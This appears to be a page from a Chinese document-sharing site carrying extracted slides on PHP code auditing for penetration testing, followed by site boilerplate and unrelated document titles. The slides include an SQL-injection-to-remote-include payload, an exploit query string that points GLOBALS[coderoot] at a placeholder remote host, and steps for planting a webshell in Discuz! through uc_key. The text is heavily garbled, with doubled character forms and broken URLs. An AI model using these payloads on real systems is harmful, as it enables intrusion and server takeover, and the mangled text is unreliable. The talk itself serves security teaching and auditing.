




版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、1WEB代碼審計(jì)與滲透測(cè)試http:/ 2WEB應(yīng)用程序代碼審計(jì)l程序的兩大根本:變量與函數(shù)l漏洞現(xiàn)成的條件: A、可以控制的變量 【一切輸入都是有害的 】 B、變量到達(dá)有利用價(jià)值的函數(shù)危險(xiǎn)函數(shù) 【一切進(jìn)入函數(shù)的變量是有害的】l漏洞的利用效果取決于最終最終函數(shù)的功能 變量進(jìn)入什么樣的函數(shù)就導(dǎo)致什么要的效果3PHP應(yīng)用程序代碼審計(jì)l為什么只是PHP? A、跨平臺(tái)、應(yīng)用廣泛、復(fù)雜 B、變量處理靈活如變量覆蓋、全局變量等 C、函數(shù)庫(kù)巨大 導(dǎo)致漏洞類(lèi)型多,既有通用的又有特有的 E、代碼審計(jì)的思路是可以通用的4變量變量l預(yù)定義變量常規(guī)外部提交的變量 GPC $_ENV/SERVER/SESSION $H
2、TTP_RAW_POST_DATA等lregister_globals = on 未初始化的變量 PHP 4.20 默認(rèn)為offl變量覆蓋未初始化及覆蓋前定義的變量 如:extract() 、遍歷初始化變量、遍歷初始化變量、parse_str()等等l變量的傳遞與存儲(chǔ)中轉(zhuǎn)的變量 存儲(chǔ)于數(shù)據(jù)庫(kù)、文件如配置、緩存文件等5危險(xiǎn)函數(shù)l文件包含包含漏洞l代碼執(zhí)行執(zhí)行任意代碼漏洞l命令執(zhí)行執(zhí)行任意命令漏洞l文件系統(tǒng)操作文件(目錄)讀寫(xiě)等漏洞l數(shù)據(jù)庫(kù)操作SQL注射漏洞l數(shù)據(jù)顯示 XSS等客服端漏洞l6更多的變量處理與危險(xiǎn)函數(shù)高級(jí)高級(jí)PHP應(yīng)用程序漏洞審核技術(shù)應(yīng)用程序漏洞審核技術(shù)http:/ 變量跟蹤的過(guò)程l
3、通過(guò)變量找函數(shù)正向跟蹤變量 $id=$_GETid$sid=$id函數(shù)($sid)l通過(guò)函數(shù)找變量逆向跟蹤變量 函數(shù)($sid) $sid=$id $id=$_GETid8變量的傳遞與二次漏洞l變量存儲(chǔ)、提取、傳遞是一個(gè)復(fù)雜的立體的過(guò)程l過(guò)程中經(jīng)過(guò)多個(gè)不一樣的函數(shù)的處理后繼續(xù)傳遞,最終達(dá)到漏洞函數(shù)l傳遞的過(guò)程中任意環(huán)節(jié)可控就可能導(dǎo)致漏洞l中間函數(shù)處理的過(guò)程誕生新的變量,新的變量達(dá)到新的漏洞函數(shù)誕生新的漏洞二次漏洞9二次漏洞l什么是二次漏洞? 2006年提出的一個(gè)概念 主導(dǎo)思想:通過(guò)一個(gè)現(xiàn)有漏洞,創(chuàng)造新的漏洞使得漏洞利用最大化l一個(gè)demo注意:include與require的區(qū)別10二次漏洞l
4、又一個(gè)demo一個(gè)注射漏洞$sql= select id,filepath,user,name from attachment where fileid=$_GETid”; $result = mysql_db_query($dbname, $sql);$file=mysql_fetch_array($result); 然而:include($filefilepath);一個(gè)貌似不可以直接控制的新變量$filefilepath進(jìn)入了危險(xiǎn)函數(shù)include()?id=1 union select 1,http:/ ver遠(yuǎn)程包含漏洞12單獨(dú)看上面的代碼是沒(méi)有辦法提交 實(shí)現(xiàn)遠(yuǎn)程包含Exp:/adm
5、in/index.php?_SERVERConfigFile=./commonlib/pages/importcsv.php&GLOBALSassign_invalid_default=1&GLOBALScoderoot=http:/xx.xx.xx.xx/實(shí)現(xiàn)了一次完美的又本地包含轉(zhuǎn)為遠(yuǎn)程包含的13又一個(gè)實(shí)例:Discuz!old ver遠(yuǎn)程代碼執(zhí)行漏洞 效果圖:【實(shí)現(xiàn)“給我一個(gè)注射點(diǎn),我給你一個(gè)shell”的目標(biāo)】注射得到uc_key中.利用uc-key得到webshell代碼執(zhí)行14得到webshell的關(guān)鍵在于dz論壇的api借口里:api/uc.php里updatea
6、pps()對(duì)配置文件config.inc.php有讀寫(xiě)操作15繼續(xù)跟下updateapps()的調(diào)用:$get的處理:整過(guò)只要得到了uc_key就可以通過(guò)調(diào)用updateapps()對(duì)config.inc.php寫(xiě)操作了!另外updateapps()的2個(gè)參數(shù)都沒(méi)有魔術(shù)引號(hào)的處理:$get = _stripslashes($get);$post = xml_unserialize(file_get_contents(php:/input);數(shù)據(jù)流不受魔術(shù)引號(hào)限制通過(guò)$configfile = preg_replace(“/define(UC_API,s*.*?);/i”, “define(UC
7、_API, $UC_API);”, $configfile); 閉合define(UC_API, 來(lái)注射我們的webshell代碼16二次漏洞的啟示l漏洞的類(lèi)型是可以轉(zhuǎn)換的:最終的目的是攻擊效果最大化!l一切進(jìn)入函數(shù)的變量是有害的:變量在傳遞過(guò)程任意個(gè)環(huán)節(jié)可控就可能導(dǎo)致漏洞!l變量傳遞的途徑是多樣的:我們的攻擊思路多元化! 如對(duì)于dz,去尋找可以找到uc_key的途徑:sql注射、文件讀取config.inc.php里存有uc_key、控制mysql的管理權(quán)限phpmyadmin等等17二次漏洞的其他應(yīng)用l應(yīng)用級(jí)別的“rootkit”18其他的因素與代碼審計(jì)lphp版本與代碼審計(jì)變量與函數(shù) p
8、hp.ini默認(rèn)設(shè)置問(wèn)題 php本身函數(shù)的漏洞php缺少自動(dòng)升級(jí)的機(jī)制l系統(tǒng)特性與系統(tǒng)特性與代碼審計(jì) 包括OS: 主要是文件操作 web服務(wù)器: 主要文件解析類(lèi)型 系統(tǒng)特性與系統(tǒng)特性與web安全安全 http:/ 甲方的代碼審計(jì): 目的:防御 要求:找到更多的漏洞,并且給出安全補(bǔ)丁建議等。并且對(duì)應(yīng)用程序平臺(tái)無(wú)特別要求。 乙方的代碼審計(jì): 目的:滲透也就是進(jìn)攻 要求:找到一個(gè)可用的漏洞就可以,但是要求快速、利用效果最大化等。并且要求在滲透測(cè)試目標(biāo)的平臺(tái)上可以利用。20滲透測(cè)試中的代碼審計(jì)代碼審計(jì)前的準(zhǔn)備 A.得到代碼 a.對(duì)于開(kāi)源的應(yīng)用程序:得到程序的版本信息,越詳細(xì)越好。 *具體應(yīng)用程序版本掃
9、描 b.對(duì)于不開(kāi)源的應(yīng)用程序: *通過(guò)黑盒掃描得到備用文件 *通過(guò)黑盒掃描利用sql注射暴代碼loadfile() *通過(guò)黑盒掃描利用容易文件下載漏洞 *上一次滲透測(cè)試打包下載的代碼 B.得到平臺(tái)信息 php版本及php.ini一些基本設(shè)置、OS信息、Web服務(wù)信息、數(shù)據(jù)庫(kù)應(yīng)用21滲透測(cè)試中的代碼審計(jì)快速代碼審計(jì): A.補(bǔ)丁對(duì)比技術(shù) B.業(yè)務(wù)功能與漏洞 C.相似性漏洞挖掘 D.基于白盒的fuzz E.常用變量與函數(shù) F.高級(jí)的代碼審計(jì)22A 補(bǔ)丁對(duì)比技術(shù)l二進(jìn)制補(bǔ)丁對(duì)比技術(shù)已經(jīng)非常成熟開(kāi)始于2004年 ,也誕生了反二進(jìn)制對(duì)比的技術(shù)。lPHP應(yīng)用程序補(bǔ)丁對(duì)比技術(shù) *基于源代碼,對(duì)比起來(lái)更加直觀明
10、了 *目前還沒(méi)有對(duì)應(yīng)的反對(duì)比機(jī)制 *對(duì)比工具: 系統(tǒng)命令:fc、diff等 專(zhuān)業(yè)工具:Beyond Compare、UltraCompare等 *常見(jiàn)的安全補(bǔ)丁方式: 變量初始化:$str=;、$arr=array();等 變量過(guò)濾: intval/int()、addslashes()、正則等 *對(duì)比的版本選擇:選取臨近的版本避免一些非安全補(bǔ)丁的干擾23一個(gè)實(shí)例24B 業(yè)務(wù)功能與漏洞l實(shí)現(xiàn)業(yè)務(wù)功能的同時(shí)引入安全風(fēng)險(xiǎn)。如: 上傳功能上傳漏洞 數(shù)據(jù)存儲(chǔ)與查詢(xún)sql注射漏洞 后臺(tái)或者api接口安全認(rèn)證繞過(guò) 數(shù)據(jù)庫(kù)備用導(dǎo)出webshelll新的功能必定帶來(lái)新的安全隱患。l功能越強(qiáng)大說(shuō)明漏洞幾率越大。l
11、我們?cè)趯徲?jì)代碼的同時(shí)應(yīng)該熟悉應(yīng)用程序的業(yè)務(wù)功能。25C 相似性漏洞挖掘l天下武學(xué)同出少林天大代碼一把抄 最經(jīng)典的故事屬于asp:動(dòng)網(wǎng)的上傳漏洞l每個(gè)程序員都有自己的代碼風(fēng)格習(xí)慣 不好的風(fēng)格習(xí)慣,可能代碼致命的安全漏洞,而且習(xí)慣很難改變!l相同的功能帶來(lái)同樣的漏洞 如后臺(tái)的功能和api接口實(shí)現(xiàn)相同的功能l尋找相似性漏洞 *通過(guò)補(bǔ)丁對(duì)比技術(shù) *通過(guò)漏洞分析、總結(jié)漏洞類(lèi)型26D 基于白盒的fuzz 當(dāng)然也用于其他get、post的變量、甚至是環(huán)境變量,比如注射用戶(hù)名、發(fā)帖的標(biāo)題內(nèi)容設(shè)置為一個(gè)特征字符2、對(duì)于數(shù)據(jù)庫(kù)存儲(chǔ)查詢(xún)可以讓數(shù)據(jù)庫(kù)出錯(cuò)的字符就行 比如 27D 基于白盒的fuzz 的情況下,在inlculdes的文件里設(shè)定的配置變量沒(méi)有初始化的問(wèn)題:那么不是所有的文件都這樣的問(wèn)題,我們可以先通過(guò)白盒找到這些可能出現(xiàn)問(wèn)題的變量名,然后可以寫(xiě)個(gè)fuzz的腳本,列表程序目錄一個(gè)一個(gè)提交探測(cè)28E.常用變量與函
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 征信合規(guī)管理培訓(xùn)課件
- 語(yǔ)言培訓(xùn)班課件制作指南
- 急性乳房炎的護(hù)理
- 感恩團(tuán)隊(duì)培訓(xùn)
- 中醫(yī)噯氣病例分享
- 氣道異物的護(hù)理
- 倉(cāng)庫(kù)管理的安全培訓(xùn)
- 新教師法培訓(xùn)
- 小學(xué)國(guó)教育主題班會(huì)
- 天津市2025年中考語(yǔ)文模擬試卷7(含答案)
- GB/T 22751-2008臺(tái)球桌
- GA 1205-2014滅火毯
- “十個(gè)堅(jiān)持”的邏輯體系與深刻內(nèi)涵
- 攜手耕耘未來(lái)課件
- 社區(qū)工作者經(jīng)典備考題庫(kù)(必背300題)
- 2023年陜西韓城象山中學(xué)高一物理第二學(xué)期期末聯(lián)考試題(含答案解析)
- DB4401-T 102.1-2020 建設(shè)用地土壤污染防治+第1部分:污染狀況調(diào)查技術(shù)規(guī)范-(高清現(xiàn)行)
- 農(nóng)業(yè)產(chǎn)業(yè)園可行性研究報(bào)告
- 實(shí)驗(yàn)2:基本數(shù)據(jù)類(lèi)型、運(yùn)算符與表達(dá)式
- 常州建筑水電安裝施工專(zhuān)項(xiàng)方案
- 增強(qiáng)教師職業(yè)認(rèn)同感、榮譽(yù)感、幸福感-課件
評(píng)論
0/150
提交評(píng)論